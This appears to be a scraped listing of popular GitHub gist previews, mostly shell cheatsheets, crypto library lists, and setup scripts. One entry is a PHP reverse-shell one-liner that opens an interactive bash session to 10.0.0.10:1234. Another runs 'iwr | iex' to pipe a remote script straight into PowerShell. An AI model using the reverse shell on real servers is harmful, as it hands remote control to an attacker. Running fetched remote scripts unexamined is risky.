MohamedAlaa

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname

jo

JavaScript Crypto Libraries

List some crypto libraries for JavaScript out there. Might be a bit out dated. Scroll to the bottom.

WebCryptoAPI

http://www.w3.org/TR/WebCryptoAPI/

This specification describes a JavaScript API for performing basic cryptographic operations in web applications, such as hashing, signature generation and verification, and encryption and decryption. Additionally, it describes an API for applications to generate and/or manage the keying material necessary to perform these operations. Uses for this API range from user or service authentication, document or code signing, and the confidentiality and integrity of communications.

soarez

How to setup your own CA with OpenSSL

For educational reasons I've decided to create my own CA. Here is what I learned.

First things first

Lets get some context first.

rshipp

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

LeCoupa

#!/bin/bash
#####################################################
# Name: Bash CheatSheet for Mac OSX
# 
# A little overlook of the Bash basics
#
# Usage:
#
# Author: J. Le Coupanec
# Date: 2014/11/04

tuxfight3r

Bash Shortcuts

Moving

command	description
ctrl + a	Goto BEGINNING of command line

imbradbrown

#!/bin/bash

## file to upload. 
S3_UPLOAD_FILE=some/path/file.txt

## Specify the bucket name here. This can be found in the S3 console
S3_BUCKET=bucket name here

## The desired path relative to the root of the bucket. All folders must be forward slash '/' separated
S3_DESTINATION_FILE=folder/folder2/file.txt

ralavay

#!/bin/bash
#
# Highligh Nginx config file in Vim

# Download syntax highlight
mkdir -p ~/.vim/syntax/
wget http://www.vim.org/scripts/download_script.php?src_id=19394 -O ~/.vim/syntax/nginx.vim

# Set location of Nginx config file
cat > ~/.vim/filetype.vim <<EOF

oanhnn

Problem

I have two Github accounts: oanhnn (personal) and superman (for work). I want to use both accounts on same computer (without typing password everytime, when doing git push or pull).

Solution

Use ssh keys and define host aliases in ssh config file (each alias for an account).

How to?

1. Generate ssh key pairs for accounts and add them to GitHub accounts.

alirobe

### 
###
### UPDATE: For Win 11, I recommend using this tool in place of this script: 
### https://christitus.com/windows-tool/
### https://github.com/ChrisTitusTech/winutil
### https://www.youtube.com/watch?v=6UQZ5oQg8XA
### iwr -useb https://christitus.com/win | iex
###
### OR take a look at 
### https://github.com/HotCakeX/Harden-Windows-Security